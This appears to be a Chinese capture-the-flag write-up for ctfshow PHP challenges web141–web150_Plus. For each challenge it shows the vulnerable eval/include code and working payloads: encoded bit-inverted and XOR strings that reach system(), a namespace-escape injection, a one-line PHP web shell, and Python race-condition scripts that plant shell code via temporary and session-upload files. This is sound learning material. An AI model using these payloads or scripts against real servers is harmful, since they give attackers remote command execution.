web141-无数字字母rce、绕过return
| if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ |
| $v1 = (String)$_GET['v1']; |
| $v2 = (String)$_GET['v2']; |
| $v3 = (String)$_GET['v3']; |
| |
| if(is_numeric($v1) && is_numeric($v2)){ |
| if(preg_match('/^\W+$/', $v3)){ |
| $code = eval("return $v1$v3$v2;"); |
| echo "$v1$v3$v2 = ".$code; |
| } |
| } |
| } |
Hint
| 考察命令执行和绕过return 应该说运算符都可以绕过 这里用羽师傅给的一个脚本取反命令执行 ?v1=10&v2=0&v3=-(%8c%86%8c%8b%9a%92)(%9c%9e%8b%df%99%d5); |
| |
| 一个是绕过return,使用的是数组和命令之间的运算:1-phpinfo()-1 |
| 另一个是无数字字母rce |
web142
| if(isset($_GET['v1'])){ |
| $v1 = (String)$_GET['v1']; |
| if(is_numeric($v1)){ |
| $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); |
| sleep($d); |
| echo file_get_contents("flag.php"); |
| } |
| } |
Hint
| 0和0x0绕过 这里绕过因为是因为当成了8进制和16进制 |
web143
141的plus版本
| if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ |
| $v1 = (String)$_GET['v1']; |
| $v2 = (String)$_GET['v2']; |
| $v3 = (String)$_GET['v3']; |
| if(is_numeric($v1) && is_numeric($v2)){ |
| if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ |
| die('get out hacker!'); |
| } |
| else{ |
| $code = eval("return $v1$v3$v2;"); |
| echo "$v1$v3$v2 = ".$code; |
| } |
| } |
| } |
过滤的内容比141多,主要是增加了对字符内容的过滤,但是没有过滤异或。
Hint
| 位运算都可以进行构造字符 |
| ?v1=10&v2=0&v3=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?> |
| ?v1=1&v2=1&v3=^(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)^ |
web144
143的plus版本
| if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ |
| $v1 = (String)$_GET['v1']; |
| $v2 = (String)$_GET['v2']; |
| $v3 = (String)$_GET['v3']; |
| |
| if(is_numeric($v1) && check($v3)){ |
| if(preg_match('/^\W+$/', $v2)){ |
| $code = eval("return $v1$v3$v2;"); |
| echo "$v1$v3$v2 = ".$code; |
| } |
| } |
| } |
| |
| function check($str){ |
| return strlen($str)===1?true:false; |
| } |
Hint
| ?v1=10&v2=(%8c%86%8c%8b%9a%92)(%9c%9e%8b%df%99%d5);&v3=- |
hin不行,下面的可以:
| ?v1=1&v2=-(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)&v3=1 |
web145
144的plus版本
| if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ |
| $v1 = (String)$_GET['v1']; |
| $v2 = (String)$_GET['v2']; |
| $v3 = (String)$_GET['v3']; |
| if(is_numeric($v1) && is_numeric($v2)){ |
| if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ |
| die('get out hacker!'); |
| } |
| else{ |
| $code = eval("return $v1$v3$v2;"); |
| echo "$v1$v3$v2 = ".$code; |
| } |
| } |
| } |
Hint
| ?v1=%0a1&v2=%0a0&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5): |
web146
145plus
| if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ |
| $v1 = (String)$_GET['v1']; |
| $v2 = (String)$_GET['v2']; |
| $v3 = (String)$_GET['v3']; |
| if(is_numeric($v1) && is_numeric($v2)){ |
| if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ |
| die('get out hacker!'); |
| } |
| else{ |
| $code = eval("return $v1$v3$v2;"); |
| echo "$v1$v3$v2 = ".$code; |
| } |
| } |
| } |
Hint
| ?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5)| |
web147
| if(isset($_POST['ctf'])){ |
| $ctfshow = $_POST['ctf']; |
| if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { |
| $ctfshow('',$_GET['show']); |
| } |
| } |
Hint
| php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 |
| 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; |
| 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法 |
| payload: |
| GET ?show=;};system('grep flag flag.php'); |
| |
| |
web148
| if(isset($_GET['code'])){ |
| $code=$_GET['code']; |
| if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ |
| die("error"); |
| } |
| @eval($code); |
| } |
| else{ |
| highlight_file(__FILE__); |
| } |
| |
| function get_ctfshow_fl0g(){ |
| echo file_get_contents("flag.php"); |
| } |
Hint
| |
| ?code=("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%09%01%03%01%06%02"^"%7d%60%60%21%60%28"); |
| 预期解是使用中文 |
| ?code=$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* "{{{"^"?<>/"; |
| 异或出来的结果是 _GET |
web149-条件竞争
| $files = scandir('./'); |
| foreach($files as $file) { |
| if(is_file($file)){ |
| if ($file !== "index.php") { |
| unlink($file); |
| } |
| } |
| } |
| |
| file_put_contents($_GET['ctf'], $_POST['show']); |
| |
| $files = scandir('./'); |
| foreach($files as $file) { |
| if(is_file($file)){ |
| if ($file !== "index.php") { |
| unlink($file); |
| } |
| } |
| } |
Hint
| GET: ?ctf=index.php show=<?php eval($_POST[cmd]);?> |
条件竞争脚本
| |
| |
| |
| import io |
| import requests |
| import threading |
| |
| url = 'http://d3aa0fa3-8a63-4994-8a43-80891c436065.chall.ctf.show/' |
| |
| |
| def write(): |
| while event.isSet(): |
| data = { |
| 'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>' |
| } |
| requests.post(url=url+'?ctf=1.php', data=data) |
| |
| |
| def read(): |
| while event.isSet(): |
| response = requests.get(url + '1.php') |
| if response.status_code != 404: |
| print(response.text) |
| event.clear() |
| |
| |
| if __name__ == "__main__": |
| event = threading.Event() |
| event.set() |
| for i in range(1, 100): |
| threading.Thread(target=write).start() |
| |
| for i in range(1, 100): |
| threading.Thread(target=read).start() |
web150
| class CTFSHOW{ |
| private $username; |
| private $password; |
| private $vip; |
| private $secret; |
| |
| function __construct(){ |
| $this->vip = 0; |
| $this->secret = $flag; |
| } |
| |
| function __destruct(){ |
| echo $this->secret; |
| } |
| |
| public function isVIP(){ |
| return $this->vip?TRUE:FALSE; |
| } |
| } |
| |
| function __autoload($class){ |
| if(isset($class)){ |
| $class(); |
| } |
| } |
| |
| |
| |
| $key = $_SERVER['QUERY_STRING']; |
| if(preg_match('/\_| |\[|\]|\?/', $key)){ |
| die("error"); |
| } |
| $ctf = $_POST['ctf']; |
| extract($_GET); |
| if(class_exists($__CTFSHOW__)){ |
| echo "class is exists!"; |
| } |
| |
| if($isVIP && strrpos($ctf, ":")===FALSE){ |
| include($ctf); |
| } |
Hint

| # -*- coding: utf-8 -*- |
| # @Time : 20.12.5 13:52 |
| # @author:lonmar |
| import io |
| import requests |
| import threading |
| |
| sessid = 'test' |
| data = { |
| "ctf": "/tmp/sess_test", |
| "cmd": 'system("cat flag.php");' |
| } |
| |
| |
| def write(session): |
| while event.isSet(): |
| f = io.BytesIO(b'a' * 1024 * 50) |
| resp = session.post('http://f784b6c6-95bc-46b4-b9e1-e5b43c799b7f.challenge.ctf.show:8080/', |
| data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, |
| files={'file': ('test.txt', f)}, cookies={'PHPSESSID': sessid}) |
| |
| |
| def read(session): |
| while event.isSet(): |
| res = session.post( |
| 'http://f784b6c6-95bc-46b4-b9e1-e5b43c799b7f.challenge.ctf.show:8080/?isVIP=1', |
| data=data |
| ) |
| if 'ctfshow{' in res.text: |
| print(res.text) |
| event.clear() |
| else: |
| print('[*]retrying...') |
| |
| |
| if __name__ == "__main__": |
| event = threading.Event() |
| event.set() |
| with requests.session() as session: |
| for i in range(1, 5): |
| threading.Thread(target=write, args=(session,)).start() |
| |
| for i in range(1, 5): |
| threading.Thread(target=read, args=(session,)).start() |
| |
web150_Plus
| class CTFSHOW{ |
| private $username; |
| private $password; |
| private $vip; |
| private $secret; |
| |
| function __construct(){ |
| $this->vip = 0; |
| $this->secret = $flag; |
| } |
| |
| function __destruct(){ |
| echo $this->secret; |
| } |
| |
| public function isVIP(){ |
| return $this->vip?TRUE:FALSE; |
| } |
| } |
| |
| function __autoload($class){ |
| if(isset($class)){ |
| $class(); |
| } |
| } |
| |
| |
| $key = $_SERVER['QUERY_STRING']; |
| if(preg_match('/\_| |\[|\]|\?/', $key)){ |
| die("error"); |
| } |
| $ctf = $_POST['ctf']; |
| extract($_GET); |
| if(class_exists($__CTFSHOW__)){ |
| echo "class is exists!"; |
| } |
| |
| if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){ |
| include($ctf); |
| } |
Hint
| 这个题一点点小坑__autoload()函数不是类里面的 |
| __autoload — 尝试加载未定义的类 |
| 最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦 |
| 原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用 |
| __autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo |
| 接下来就去getshell啦 |
| exp :https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py |
用Hint的方法没弄懂,几乎所有的wp都说可以使用150的解法,所以就使用了150的python脚本。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具